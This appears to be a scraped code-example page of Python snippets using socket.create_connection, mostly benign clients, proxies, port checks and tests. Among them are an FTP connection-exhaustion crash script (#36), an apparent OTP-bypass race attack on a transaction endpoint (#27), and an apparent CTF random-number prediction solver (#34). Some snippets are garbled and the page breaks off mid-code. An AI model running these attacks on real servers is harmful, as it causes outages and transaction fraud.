예제 #1
0
    def connect(self):
        """
        Connect to the server specified when the object was created. This is a
        no-op if we're already connected.

        :returns: Nothing.
        """
        if self._sock is None:
            if not self.proxy_host:
                host = self.host
                port = self.port
            else:
                host = self.proxy_host
                port = self.proxy_port

            if self.ip:
                sock = socket.create_connection((self.ip, port), 5)
            else:
                sock = socket.create_connection((host, port), 5)

            if self.secure:
                assert not self.proxy_host, "Using a proxy with HTTPS not yet supported."
                sock, proto = wrap_socket(sock, host, self.ssl_context)
            else:
                proto = H2C_PROTOCOL

            log.debug("Selected NPN protocol: %s", proto)
            assert proto in H2_NPN_PROTOCOLS or proto == H2C_PROTOCOL

            self._sock = BufferedSocket(sock, self.network_buffer_size)

            self._send_preamble()

        return
예제 #2
0
파일: run.py 프로젝트: doublereedkurt/uhttp
def run(clients, servers, startup=10):
	port = 10000
	server_procs = []
	for server in servers:
		print "starting", server
		proc = subprocess.Popen([sys.executable, server, str(port)], stdout=subprocess.PIPE)
		_PROCS.append(proc)
		server_procs.append(proc)
		proc.port = port
		proc.server_name = server
		start = time.time()
		while time.time() - start < startup:
			try:
				socket.create_connection( ('localhost', port))
				break
			except socket.error:
				pass
		else:  # didn't break
			raise EnvironmentError(
				"server {0} on port {1} didn't come ready within {2}s".format(
					server, port, startup))
		port += 1

	for serv in server_procs:
		print "SERVER", serv.server_name
		for client in clients:
			print "    CLIENT", client.__name__, client(serv.port)

		serv.kill()
예제 #3
0
 def _FindOpenPort(self):
   for port in range(9500, 10000):
     try:
       socket.create_connection(('127.0.0.1', port), 0.2).close()
     except socket.error:
       return port
   raise RuntimeError('Cannot find open port to launch ChromeDriver')
예제 #4
0
파일: proxy.py 프로젝트: alanfly/goagent
 def do_CONNECT_Direct(self):
     try:
         logging.debug('GaeProxyHandler.do_CONNECT_Directt %s' % self.path)
         host, _, port = self.path.rpartition(':')
         if not common.PROXY_ENABLE:
             soc = socket.create_connection((host, int(port)))
             self.log_request(200)
             self.wfile.write('%s 200 Tunnel established\r\n\r\n' % self.protocol_version)
         else:
             soc = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
             if host.endswith(common.GOOGLE_SITES):
                 ip = random.choice(common.GOOGLE_HOSTS[0])
             else:
                 ip = random.choice(common.HOSTS.get(host, host)[0])
             data = '%s %s:%s %s\r\n\r\n' % (self.command, ip, port, self.protocol_version)
             if common.PROXY_USERNAME:
                 data += 'Proxy-authorization: Basic %s\r\n' % base64.b64encode('%s:%s'%(urllib.unquote(common.PROXY_USERNAME), urllib.unquote(common.PROXY_PASSWROD))).strip()
             soc.sendall(data)
         socket_forward(self.connection, soc, maxping=8)
     except:
         logging.exception('GaeProxyHandler.do_CONNECT_Direct Error')
     finally:
         try:
             soc.close()
         except:
             pass
예제 #5
0
 def FindFreePort(self):
   for port in range(10000, 10100):
     try:
       socket.create_connection(('127.0.0.1', port), 0.2).close()
     except socket.error:
       return port
   raise RuntimeError('Cannot find open port')
예제 #6
0
    def do_pre_handshake(self):
        """Open a socket to the server; setup HTTP tunneling if a proxy was configured."""

        if self._tunnel_host:
            # Proxy configured; setup HTTP tunneling
            try:
                self._sock = socket.create_connection((self._tunnel_host, self._tunnel_port), self.NETWORK_TIMEOUT)
            except socket.timeout as e:
                raise ProxyError(self.ERR_PROXY_OFFLINE.format(e[0]))
            except socket.error as e:
                raise ProxyError(self.ERR_PROXY_OFFLINE.format(e[1]))

            # Send a CONNECT request with the host we want to tunnel to
            if self._tunnel_basic_auth_token is None:
                self._sock.send(self.HTTP_CONNECT_REQ.format(self._host, self._port))
            else:
                self._sock.send(self.HTTP_CONNECT_REQ_PROXY_AUTH_BASIC.format(self._host, self._port,
                                                                              self._tunnel_basic_auth_token))
            http_response = parse_http_response(self._sock)

            # Check if the proxy was able to connect to the host
            if http_response.status != 200:
                raise ProxyError(self.ERR_CONNECT_REJECTED)
        else:
            # No proxy; connect directly to the server
            self._sock = socket.create_connection((self._ip, self._port), self.NETWORK_TIMEOUT)
예제 #7
0
파일: test_redis.py 프로젝트: ulule/bokchoy
def redis_is_available():
    try:
        socket.create_connection(('127.0.0.1', 6379), 1.0)
    except socket.error:
        return False
    else:
        return True
예제 #8
0
    def _serve_synch_app(self, app_id, path, addr):
        conns = (socket.create_connection(addr), socket.create_connection(addr))

        stop_reading = threading.Event()

        for conn, name in zip(conns, ('stdout', 'stderr')):
            args = (path + '/_' + name, conn, stop_reading)
            th = threading.Thread(target = tail_follow, name = name, args = args)
            th.daemon = True
            th.start()

        msg = self.wait_synch_app_queue(app_id) # {'status': status, 'exit_code': exit_code}
        self.remove_synch_app_queue(app_id)

        # not an elegant solution but we need to keep the reader threads alive for just a bit longer
        time.sleep(1)

        stop_reading.set()

        for conn in conns:
            try:
                conn.shutdown(socket.SHUT_RDWR)
            except:
                pass
            conn.close()

        return {'status': AppManager.status_name(msg['status']), 'exit_code': msg['exit_code']}
예제 #9
0
def is_connected():
  try:
    socket.create_connection(("www.google.com", 80))
    return True
  except:
    pass
  return False
예제 #10
0
def test_connection(address):
    try:
        socket.create_connection(address)
    except socket.error:
        return False
    else:
        return True
예제 #11
0
파일: diagnose.py 프로젝트: ollmer/jane
def check_network_connection(server="www.google.com"):
    """
    Checks if jasper can connect a network server.

    Arguments:
        server -- (optional) the server to connect with (Default:
                  "www.google.com")

    Returns:
        True or False
    """
    logger = logging.getLogger(__name__)
    logger.debug("Checking network connection to server '%s'...", server)
    try:
        # see if we can resolve the host name -- tells us if there is
        # a DNS listening
        host = socket.gethostbyname(server)
        # connect to the host -- tells us if the host is actually
        # reachable
        socket.create_connection((host, 80), 2)
    except Exception:
        logger.debug("Network connection not working")
        return False
    else:
        logger.debug("Network connection working")
        return True
예제 #12
0
 def checkPrice(self,cr,uid,ids,codeSku,product):
     requete=self.requeteCode(cr,uid,codeSku)
     idsearch=self.pool.get('ingram_config').search(cr,uid,[('xml_active','=','True'),])
     config=self.pool.get('ingram_config').read(cr,uid,idsearch,['xml_address'])#
     ip=str(config[0]['xml_address'])
     if ip :
         ip=ip.split('/')
         chm=""
         for i in range(len(ip)):
             if i>0:
                 chm+="/"+ip[i]
         conn = httplib.HTTPSConnection(ip[0],443)
         if sys.version >= '2.7':
             sock = socket.create_connection((conn.host, conn.port), conn.timeout, conn.source_address)
         else:
             sock = socket.create_connection((conn.host, conn.port), conn.timeout)
         conn.sock = ssl.wrap_socket(sock, conn.key_file, conn.cert_file, ssl_version=ssl.PROTOCOL_TLSv1)
         conn.request("POST",chm,requete ) 
         response = conn.getresponse()
         data = response.read()  
         _logger.info(data) 
         conn.close()
         return  self.traitement(cr,uid,ids,data,product)# 
     else :
         return False
예제 #13
0
def check(host):
    try:
        socket.create_connection((host, PORT), CONNECT_TIMEOUT)
    except Exception:
        return DOWN
    else:
        return OK
예제 #14
0
파일: sale.py 프로젝트: LiberTang0/odoo
 def actualisationPrix(self,config,product):
     if not self:
         sale_order_line=self.env['sale.order.line']
         self=sale_order_line.browse(1)
     requete=self.requeteCode(config,product)
     ip=str(config.xml_address)
     if ip :
         ip=ip.split('/')
         chm=""
         for i in range(len(ip)):
             if i>0:
                 chm+="/"+ip[i]
         conn = httplib.HTTPSConnection(ip[0],443)
         if sys.version >= '2.7':
             sock = socket.create_connection((conn.host, conn.port), conn.timeout, conn.source_address)
         else:
             sock = socket.create_connection((conn.host, conn.port), conn.timeout)
         conn.sock = ssl.wrap_socket(sock, conn.key_file, conn.cert_file, ssl_version=ssl.PROTOCOL_TLSv1)
         conn.request("POST",chm,requete[0]) 
         response = conn.getresponse()
         data = response.read()  
         _logger.info(data) 
         conn.close()
         return  self.traitement(data)[0]
     else :
         return False
예제 #15
0
    def envoieCommande(self,cr,uid,ids,context):
        idPo=self.pool.get('purchase.order.line').search(cr,uid,[('order_id','=',ids[0]),])
        requete=self.requeteCode(cr,uid,idPo,ids[0])
        try:
            idsearch=self.pool.get('ingram_config').search(cr,uid,[('xml_active','=','True'),])
            config=self.pool.get('ingram_config').read(cr,uid,idsearch,['xml_address'])#
            ip=str(config[0]['xml_address'])
            if ip :
                ip=ip.split('/')
                chm=""
                for i in range(len(ip)):
                    if i>0:
                        chm+="/"+ip[i]
                conn = httplib.HTTPSConnection(ip[0],443)#environment prod
                if sys.version >= '2.7':
                    sock = socket.create_connection((conn.host, conn.port), conn.timeout, conn.source_address)
                else:
                    sock = socket.create_connection((conn.host, conn.port), conn.timeout)
                conn.sock = ssl.wrap_socket(sock, conn.key_file, conn.cert_file, ssl_version=ssl.PROTOCOL_TLSv1)
                conn.request("POST",chm,requete ) 
        except:
            raise osv.except_osv(_('Warning!'),_('Connection failed'))
        response = conn.getresponse()
        if response.status == 200:
            data = response.read()
            _logger.info(data) 
            conn.close()

            return  self.traitement(cr,uid,ids,data)
        else:
            raise osv.except_osv(_('Information!'),_('Connection failed'))
        
        return  self.traitement(cr,uid,ids,data)
예제 #16
0
    def connect(self):
        import sys
        if sys.version_info >= (2,7,0):
            sock = socket.create_connection((self.host, self.port), self.timeout, self.source_address)
        else:
            sock = socket.create_connection((self.host, self.port), self.timeout)

        # Note these next fixes require python at least from Oct 2009 so 2.6.3
        if sys.version_info >= (2,6,3):
            if self._tunnel_host:
                self.sock = sock
                self._tunnel()

        # Force use of TLSv1 with PROTOCOL_TLSv1
        # Default is PROTOCOL_SSLv23 which allows either 2 or 3
        # Another option is PROTOCOL_SSLv3
        # We want TLS1 to avoid POODLE vulnerability. In addition, some client/server combinations fail the handshake
        # if you start with SSL23 and the server wants TLS1. See geni-tools issue #745
        if self.ssl_version is None:
            #print "Requested a None ssl version"
            self.ssl_version = ssl.PROTOCOL_TLSv1
        #print "Wrapping socket to use SSL version %s" % ssl._PROTOCOL_NAMES[self.ssl_version]

        if sys.version_info >= (2,7,0):
            #if self.ciphers is None:
            #    print "Using cipherlist: 'DEFAULT:!aNULL:!eNULL:!LOW:!EXPORT:!SSLv2'"
            #else:
            #    print "Using cipherlist: '%s'" % self.ciphers
            self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=self.ssl_version, ciphers=self.ciphers)
        else:
            # Python 2.6 doesn't let you specify the ciphers to use
            self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=self.ssl_version)
예제 #17
0
파일: lib.py 프로젝트: humw/ToolBox
def tcp_probe(ip_addr, port):
    try:
        socket.create_connection((ip_addr, port), timeout=10)
        return True
    except socket.error as e:
        return False
    s.close()
예제 #18
0
 def do_CONNECT_Direct(self):
     try:
         logging.debug('SimpleProxyHandler.do_CONNECT_Directt %s' % self.path)
         host, _, port = self.path.rpartition(':')
         if not common.PROXY_ENABLE:
             sock = socket.create_connection((host, int(port)))
             self.log_request(200)
             self.wfile.write('%s 200 Tunnel established\r\n\r\n' % self.protocol_version)
         else:
             sock = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
             ip = common.HOSTS_MAP.get(host, host)
             data = '%s %s:%s %s\r\n' % (self.command, ip, port, self.protocol_version)
             data += ''.join('%s: %s\r\n' % (k, self.headers[k]) for k in self.headers if k != 'host')
             if common.PROXY_USERNAME and not common.PROXY_NTLM:
                 data += '%s\r\n' % proxy_auth_header(common.PROXY_USERNAME, common.PROXY_PASSWROD)
             data += '\r\n'
             sock.sendall(data)
         socket_forward(self.connection, sock)
     except:
         logging.exception('GaeProxyHandler.do_CONNECT_Direct Error')
     finally:
         try:
             sock.close()
         except:
             pass
예제 #19
0
    def do_METHOD_Direct(self):
        scheme, netloc, path, params, query, fragment = urlparse.urlparse(self.path, 'http')
        try:
            host, _, port = netloc.rpartition(':')
            port = int(port)
        except ValueError:
            host = netloc
            port = 80
        try:
            self.log_request()
            if not common.PROXY_ENABLE:
                sock = socket.create_connection((host, port))
                self.headers['connection'] = 'close'
                data = '%s %s %s\r\n'  % (self.command, urlparse.urlunparse(('', '', path, params, query, '')), self.request_version)
                data += ''.join('%s: %s\r\n' % (k, self.headers[k]) for k in self.headers if not k.startswith('proxy-'))
                data += '\r\n'
            else:
                sock = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
                host = common.HOSTS_MAP.get(host, host)
                url = urlparse.urlunparse((scheme, host + ('' if port == 80 else ':%d' % port), path, params, query, ''))
                data ='%s %s %s\r\n'  % (self.command, url, self.request_version)
                data += ''.join('%s: %s\r\n' % (k, self.headers[k]) for k in self.headers if k != 'host')
                data += 'Host: %s\r\n' % netloc
                if common.PROXY_USERNAME and not common.PROXY_NTLM:
                    data += '%s\r\n' % proxy_auth_header(common.PROXY_USERNAME, common.PROXY_PASSWROD)
                data += 'Proxy-connection: close\r\n'
                data += '\r\n'

            content_length = int(self.headers.get('content-length', 0))
            if content_length > 0:
                data += self.rfile.read(content_length)
            sock.sendall(data)
            socket_forward(self.connection, sock)
        except Exception, ex:
            logging.exception('GaeProxyHandler.do_GET Error, %s', ex)
예제 #20
0
  def _StartMsrServerIfNeeded(self):
    if self._msr_server_handle:
      return

    _InstallWinRing0()

    pipe_name = r"\\.\pipe\msr_server_pipe_{}".format(os.getpid())
    # Try to open a named pipe to receive a msr port number from server process.
    pipe = win32pipe.CreateNamedPipe(
        pipe_name,
        win32pipe.PIPE_ACCESS_INBOUND,
        win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
        1, 32, 32, 300, None)
    parameters = (
        os.path.join(os.path.dirname(__file__), 'msr_server_win.py'),
        pipe_name,
    )
    self._msr_server_handle = self.LaunchApplication(
        sys.executable, parameters, elevate_privilege=True)
    if pipe != win32file.INVALID_HANDLE_VALUE:
      if win32pipe.ConnectNamedPipe(pipe, None) == 0:
        self._msr_server_port = int(win32file.ReadFile(pipe, 32)[1])
      win32api.CloseHandle(pipe)
    # Wait for server to start.
    try:
      socket.create_connection(('127.0.0.1', self._msr_server_port), 5).close()
    except socket.error:
      self.CloseMsrServer()
    atexit_with_log.Register(TerminateProcess, self._msr_server_handle)
예제 #21
0
파일: proxy.py 프로젝트: skatiger/goagent
 def do_CONNECT_Direct(self):
     try:
         logging.debug('LocalProxyHandler.do_CONNECT_Directt %s' % self.path)
         host, _, port = self.path.rpartition(':')
         idlecall = None
         if not common.PROXY_ENABLE:
             if host.endswith(common.GOOGLE_SITES):
                 conn = MultiplexConnection(common.GOOGLE_HOSTS, int(port))
                 sock = conn.socket
                 idlecall=conn.close
             else:
                 sock = socket.create_connection((host, int(port)))
             self.log_request(200)
             self.connection.sendall('%s 200 Tunnel established\r\n\r\n' % self.protocol_version)
         else:
             sock = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
             if host.endswith(common.GOOGLE_SITES):
                 ip = random.choice(common.GOOGLE_HOSTS)
             else:
                 ip = random.choice(common.HOSTS.get(host, host)[0])
             if 'Host' in self.headers:
                 del self.headers['Host']
             if common.PROXY_USERNAME and 'Proxy-Authorization' not in self.headers:
                 self.headers['Proxy-Authorization'] = 'Basic %s' + base64.b64encode('%s:%s'%(common.PROXY_USERNAME, common.PROXY_PASSWROD))
             data = '%s %s:%s %s\r\n%s\r\b' % (self.command, ip, port, self.protocol_version, self.headers)
             sock.sendall(data)
         socket_forward(self.connection, sock, idlecall=idlecall)
     except:
         logging.exception('LocalProxyHandler.do_CONNECT_Direct Error')
     finally:
         try:
             sock.close()
             del sock
         except:
             pass
예제 #22
0
파일: proxy.py 프로젝트: onlymycode/MyTr
 def do_METHOD_Direct(self):
     scheme, netloc, path, params, query, fragment = urlparse.urlparse(self.path, 'http')
     try:
         host, _, port = netloc.rpartition(':')
         port = int(port)
     except ValueError:
         host = netloc
         port = 80
     try:
         self.log_request()
         if not common.PROXY_ENABLE:
             soc = socket.create_connection((host, port))
             data = '%s %s %s\r\n'  % (self.command, urlparse.urlunparse(('', '', path, params, query, '')), self.request_version)
         else:
             soc = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
             if host.endswith(common.GOOGLE_SITES):
                 host = random.choice(common.GOOGLE_HTTPS[0])
             else:
                 host = common.HOSTS.get(host, host)
             data = '%s %s:%d %s\r\n'  % (self.command, host, port, self.request_version)
             data += 'Host: %s\r\n' % host
             data += 'Proxy-Connection: close\r\n'
         data += ''.join('%s: %s\r\n' % (k, self.headers[k]) for k in self.headers if not k.lower().startswith('proxy-'))
         data += 'Connection: close\r\n'
         data += '\r\n'
         content_length = int(self.headers.get('content-length', 0))
         if content_length > 0:
             data += self.rfile.read(content_length)
         soc.send(data)
         socket_forward(self.connection, soc, maxping=10)
     except Exception, ex:
         logging.exception('SimpleProxyHandler.do_GET Error, %s', ex)
         self.send_error(502, 'SimpleProxyHandler.do_GET Error (%s)' % ex)
예제 #23
0
파일: proxy.py 프로젝트: dghabc/goagent
 def do_CONNECT_Direct(self):
     try:
         logging.debug('LocalProxyHandler.do_CONNECT_Directt %s' % self.path)
         host, _, port = self.path.rpartition(':')
         idlecall = None
         if not common.PROXY_ENABLE:
             if host.endswith(common.GOOGLE_SITES):
                 conn = MultiplexConnection(common.GOOGLE_HOSTS, int(port))
                 sock = conn.socket
                 idlecall=conn.close
             else:
                 sock = socket.create_connection((host, int(port)))
             self.log_request(200)
             self.wfile.write('%s 200 Tunnel established\r\n\r\n' % self.protocol_version)
         else:
             sock = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
             if host.endswith(common.GOOGLE_SITES):
                 ip = random.choice(common.GOOGLE_HOSTS)
             else:
                 ip = random.choice(common.HOSTS.get(host, host)[0])
             data = '%s %s:%s %s\r\n' % (self.command, ip, port, self.protocol_version)
             data += ''.join('%s: %s\r\n' % (k, self.headers[k]) for k in self.headers if k != 'host')
             if common.PROXY_USERNAME and not common.PROXY_NTLM:
                 data += '%s\r\n' % common.proxy_basic_auth_header()
             data += '\r\n'
             sock.sendall(data)
         socket_forward(self.connection, sock, idlecall=idlecall)
     except:
         logging.exception('LocalProxyHandler.do_CONNECT_Direct Error')
     finally:
         try:
             sock.close()
             del sock
         except:
             pass
예제 #24
0
def wait_for_kafka():
    while True:
        try:
            socket.create_connection(("kafka", 9092)).close()
            break
        except ConnectionRefusedError:
            pass
예제 #25
0
    def run(self):
        """
        Use breadth first search to crawl fakebook
        """
        page = ''
        while self.urls and len(self.flag) < 5:
            # if there are unvisited urls or less than 5 flags, continue the loop
            link = self.urls.pop(0)
            # print '[DEBUG]Open link:%s' % link
            try:
                page = self.open_url(link)
                # print '[DEBUG]Page:\n%s' % page
                self.find_url(page)
                self.find_secret_flag(page)
            except ClientError:
                self.visited.append(link)  # abandon the URL
            except RedirectError:
                self.urls.insert(0, self.get_new_url(page))
            except ServerError:
                self.sock = socket.create_connection((self.host, 80))
                self.visited.pop()
                self.urls.insert(0, link)
            except UnKnowError:
                self.sock = socket.create_connection((self.host, 80))
                self.visited.pop()
                self.urls.insert(0, link)

        # print '[DEBUG]Visited:%d' % len(self.visited)
        # print self.visited
        # print '[DEBUG]URLS:%d' % len(self.urls)
        # print self.urls
        # print '[DEBUG]secret_flag:'
        # for flag in self.flag:
        #     print flag
        self.sock.close()
예제 #26
0
파일: skips.py 프로젝트: Kayle009/sentry
def cassandra_is_available():
    try:
        socket.create_connection(('127.0.0.1', 9042), 1.0)
    except socket.error:
        return False
    else:
        return True
예제 #27
0
    def run(self):
        while 1:
            with self.RaceLock:
                self.RaceLock.wait()
            try:
                data = self._pre_otp(self.obj)
                #sock = socket.create_connection((TARGET_HOST, 80))
                if 'Commit transaction.' in data:
                    post_data = 'step=step3&' + ('a' * 1896)
                    step3 = "\r\n".join(
                        ('POST /transaction.php HTTP/1.1'
                         , 'Host: {0}'.format(TARGET_HOST)
                         , 'Cookie: {0}'.format(self.obj.gen_auth_cookie())
                         , 'User-Agent: Python-urllib/2.7'
                         , 'Content-Type: application/x-www-form-urlencoded'
                         , 'Content-Length: {0}'.format(len(post_data))
                         , 'Connection: Close'
                         , ''
                         , post_data
                            )
                    )
                    a = [HTTPRace(step3, socket.create_connection((TARGET_HOST, 80))) for race_obj in
                         xrange(CONCURRENT_RACE)]
                    asyncore.loop(0.15, count=20)

                    map(lambda x: x.send_end(), a)
                    asyncore.loop(0.15, count=30)

                # 2) SmartCard otp
                elif 'One-time password:'******'step=step4&' + ('a' * 4096 * 2)
                    step4 = "\r\n".join(('POST /transaction.php HTTP/1.1'
                                         , 'Host: {0}'.format(TARGET_HOST)
                                         , 'Cookie: {0}'.format(self.obj.gen_auth_cookie())
                                         , 'User-Agent: Python-urllib/2.7'
                                         , 'Content-Type: application/x-www-form-urlencoded'
                                         , 'Content-Length: {0}'.format(len(post_data))
                                         , 'Connection: Close'
                                         , ''
                                         , post_data
                        ))
                    a = [HTTPRace(step4, socket.create_connection((TARGET_HOST, 80))) for race_obj in
                         xrange(CONCURRENT_RACE)]
                    asyncore.loop(0.15, count=20)

                    map(lambda x: x.send_end(), a)
                    asyncore.loop(0.15, count=30)
                # 3) Brute otp
                elif 'One-time password (#' in data:
                    tmp_ticket = RE_TICKET.search(data)
                    if not tmp_ticket:
                        return False
                    tmp_ticket = tmp_ticket.group(1)
                    # Implement dupe for OTP list
            except Exception as e:
                raise

            finally:
                with self.RaceLock:
                    self.RaceLock.notify()
예제 #28
0
파일: proxy.py 프로젝트: onlymycode/MyTr
 def do_CONNECT_Direct(self):
     try:
         logging.debug('GaeProxyHandler.do_CONNECT_Directt %s' % self.path)
         host, _, port = self.path.rpartition(':')
         if not common.PROXY_ENABLE:
             soc = socket.create_connection((host, int(port)))
             self.log_request(200)
             self.wfile.write('%s 200 Connection established\r\nProxy-agent: %s\r\n\r\n' % (self.protocol_version, self.version_string()))
         else:
             soc = socket.create_connection((common.PROXY_HOST, common.PROXY_PORT))
             if host.endswith(common.GOOGLE_SITES):
                 ip = random.choice(common.GOOGLE_HTTPS[0])
             else:
                 ip = random.choice(common.HOSTS.get(host, host)[0])
             data = '%s %s:%s %s\r\n\r\n' % (self.command, ip, port, self.protocol_version)
             soc.send(data)
         socket_forward(self.connection, soc, maxping=8)
     except:
         logging.exception('GaeProxyHandler.do_CONNECT_Direct Error')
         self.send_error(502, 'GaeProxyHandler.do_CONNECT_Direct Error')
     finally:
         try:
             self.connection.close()
         except:
             pass
         try:
             soc.close()
         except:
             pass
예제 #29
0
    def setUp(self):
        self.config = {
            'host': 'localhost',
            'port': 9090,
            'request_id': 0,
            'payload': 'test data',
            'payload2': 'another packet'
        }

        # Mocking socket.create_connection will cause _sock to always be a
        # MagicMock()
        patcher = mock.patch('socket.create_connection', spec=True)
        self.MockCreateConn = patcher.start()
        self.addCleanup(patcher.stop)

        # Also mock socket.sendall() to appear successful
        socket.create_connection().sendall.return_value = None

        # And mock socket.recv() to return two payloads, then '', then raise
        # Note that this currently ignores the num_bytes parameter to sock.recv()
        payload_size = len(self.config['payload'])
        payload2_size = len(self.config['payload2'])
        socket.create_connection().recv.side_effect = [
            struct.pack('>i', payload_size),
            struct.pack('>%ds' % payload_size, self.config['payload']),
            struct.pack('>i', payload2_size),
            struct.pack('>%ds' % payload2_size, self.config['payload2']),
            ''
        ]

        # Create a connection object
        self.conn = KafkaConnection(self.config['host'], self.config['port'])
        
        # Reset any mock counts caused by __init__
        socket.create_connection.reset_mock()
 def _connect(self):
     if not self._socket:
         if self._timeout:
             self._socket = socket.create_connection(self._address,
                                                     self._timeout)
         else:
             self._socket = socket.create_connection(self._address)
예제 #31
0
    def connect(self):
        self.conn = socket.create_connection((self.hostname, self.port))

        hello = ChirouterMessageHello(from_router=False)
        self.send_msg(hello)
        reply = self.received_messages.next()

        routers = ChirouterMessageRouters(self.topology.num_routers)
        self.send_msg(routers)

        rid = 0
        for router in self.topology.routers:
            self.router_ids[router] = rid
            self.router_nodes[rid] = router

            router_msg = ChirouterMessageRouter(
                rid=rid,
                num_interfaces=router.num_interfaces,
                len_rtable=router.len_rtable,
                name=router.name)

            self.send_msg(router_msg)

            iface_id = 0
            iface_names = sorted(router.interfaces.keys())

            for iface_name in iface_names:
                iface = router.interfaces[iface_name]
                self.iface_ids[iface] = (rid, iface_id)
                self.iface_nodes[(rid, iface_id)] = iface

                if iface.hwaddr is None:
                    hwaddr = bytearray([0, 0, 0, 0, 0, 0])
                else:
                    hwaddr = iface.hwaddr_packed

                interface_msg = ChirouterMessageInterface(
                    rid=rid,
                    iface_id=iface_id,
                    hwaddr=hwaddr,
                    ipaddr=iface.ip_packed,
                    name=iface.name)

                self.send_msg(interface_msg)

                iface_id += 1

            for rte in router.rtable:
                iface = router.interfaces[rte.iface]
                rid, iface_id = self.iface_ids[iface]

                rtable_msg = ChirouterMessageRTableEntry(
                    rid=rid,
                    iface_id=iface_id,
                    dest=rte.network.packed,
                    mask=rte.network.netmask.packed,
                    gw=rte.gateway_addr.packed,
                    metric=rte.metric)

                self.send_msg(rtable_msg)

            rid += 1

        done_msg = ChirouterMessageEndConfig()
        self.send_msg(done_msg)
        self.connected = True
예제 #32
0
def lian():
    global t
    serAddr = ('openbarrage.douyutv.com', 8601)
    t = socket.create_connection(serAddr)
    print("socket信息" + str(t))
    return t
예제 #33
0
파일: mmpm_test.py 프로젝트: khassel/mmpm
def test_internet_connection():
    log.info("Testing basic status of internet connection")
    address: str = "1.1.1.1"
    assert socket.create_connection((address, 80)) and socket.create_connection((address, 443))
예제 #34
0
def task():
    pred = MTpred2()
    # sc = socket.create_connection(("10.0.0.97", 12345))
    sc = socket.create_connection(("54.92.67.18", 50216))

    prob = 1
    while prob <= 30:
        read_until(sc, ": ")
        res = readline(sc, False).split()
        target = int(res[0])
        arr = [int(x) for x in res[2:]]
        print "problem %d size %d" % (prob, len(arr)),
        n = 4 * prob + 7
        assert n == len(arr)

        for t in arr:
            tt = abs(t)
            bitsleft = min(4 * prob + 20, 120)
            while bitsleft > 0:
                res, bitsleft, bitsused = consume_bits(tt, bitsleft, 32)
                #print hex(res), bitsused
                pred.set_value(res, bitsused)
                # mtindex = (mtindex + 1) % 624

            if t < 0:
                pred.set_value(1, 1)
            else:
                pred.set_value(0, 1)

            # mtindex = (mtindex + 1) % 624

        res = []
        arr2 = []
        target2 = target

        savedstate = list(pred.mt)

        for v in arr:
            cands = pred.calc_value0(len(pred.mt))
            pred.set_value(0, 0)

            if cands is not None:
                weight = [0, 0]
                for cand in cands:
                    weight[tempering(cand) & 1] += 1

                #print weight, v
                if weight[0] == 0 and weight[1] != 0:
                    res.append(v)
                    target2 -= v
                elif weight[0] != 0 and weight[1] == 0:
                    pass
                else:
                    arr2.append(v)
            else:
                arr2.append(v)

        probsize = len(arr2)
        print "SOLVE FOR NUMBER OF BITS", probsize
        if probsize == 0:
            res2 = []
        elif probsize <= 32:
            try:
                res2 = solve(arr2, target2)
            except IndexError:
                print "crash in solver, retrying"
                sc.close()
                return
        elif probsize <= 43:
            large = 18
            small = (probsize - large) / 2
            res2 = solve3(arr2, target2, small, probsize - large - small)
        elif probsize <= 47:
            large = 20
            small = (probsize - large) / 2
            res2 = solve3(arr2, target2, small, probsize - large - small)
        elif probsize <= 52:
            arr2 = arr2[:-7]
            probsize = len(arr2)
            large = 20
            small = (probsize - large) / 2
            res2 = solve3(arr2, target2, small, probsize - large - small)
            if res2 is None:
                print "no solution"
                sc.close()
                return

        else:
            print "problem too large"
            sc.close()
            return

        res.extend(res2)

        pred.mt = savedstate

        res3 = []
        for v in arr:
            if v in res:
                res3.append(v)
                pred.set_value(1, 1)
            else:
                pred.set_value(0, 1)

        sc.send(str(len(res3)) + " " + " ".join([str(x) for x in res3]) + "\n")
        prob += 1

    # t = telnetlib.Telnet()
    # t.sock = sc
    # t.interact()

    while True:
        data = sc.recv(16384)
        if len(data) == 0:
            break
        for line in data.split("\n"):
            print repr(line)
예제 #35
0
 def connect_to_server(self, port):
     self.socket = socket.create_connection(('localhost', port))
예제 #36
0
# * Run this python script and write the IP to attack.

# Why?
# ====
# The FTP Server can't handle more than ~1505 connections at the same time

# Exploit code
# ============

import socket

ip = raw_input("[+] IP to attack: ")

sarr = []
i = 0
while True:
	try:
		sarr.append(socket.create_connection((ip,21)))
		print "[+] Connection %d" % i
		crash1 = "A"*500

		sarr[i].send("USER anonymous\r\n" )
		sarr[i].recv(4096)

		sarr[i].send("PASS n30m1nd\r\n" )
		sarr[i].recv(4096)
		i+=1
	except socket.error:
		print "[*] Server crashed!!"
        raw_input()
		break
예제 #37
0
파일: __init__.py 프로젝트: zerkella/eden
 def _connect(self, proxy_headers):
     """Connect to the host and port specified in __init__."""
     if self.sock:
         return
     if self._proxy_host is not None:
         logger.info("Connecting to http proxy %s:%s", self._proxy_host,
                     self._proxy_port)
         sock = socket.create_connection(
             (self._proxy_host, self._proxy_port))
         if self.ssl:
             data = self._buildheaders(
                 b"CONNECT",
                 b"%s:%d" % (self.host, self.port),
                 proxy_headers,
                 HTTP_VER_1_0,
             )
             sock.send(data)
             sock.setblocking(0)
             r = self.response_class(sock, self.timeout, b"CONNECT")
             timeout_exc = HTTPTimeoutException(
                 "Timed out waiting for CONNECT response from proxy")
             while not r.complete():
                 try:
                     # We're a friend of the response class, so let
                     # us use the private attribute.
                     # pylint: disable=W0212
                     if not r._select():
                         if not r.complete():
                             raise timeout_exc
                 except HTTPTimeoutException:
                     # This raise/except pattern looks goofy, but
                     # _select can raise the timeout as well as the
                     # loop body. I wish it wasn't this convoluted,
                     # but I don't have a better solution
                     # immediately handy.
                     raise timeout_exc
             if r.status != 200:
                 raise HTTPProxyConnectFailedException(
                     "Proxy connection failed: %d %s" %
                     (r.status, r.read()))
             logger.info(
                 "CONNECT (for SSL) to %s:%s via proxy succeeded.",
                 self.host,
                 self.port,
             )
     else:
         sock = socket.create_connection((self.host, self.port))
     if self.ssl:
         # This is the default, but in the case of proxied SSL
         # requests the proxy logic above will have cleared
         # blocking mode, so re-enable it just to be safe.
         sock.setblocking(1)
         logger.debug("wrapping socket for ssl with options %r",
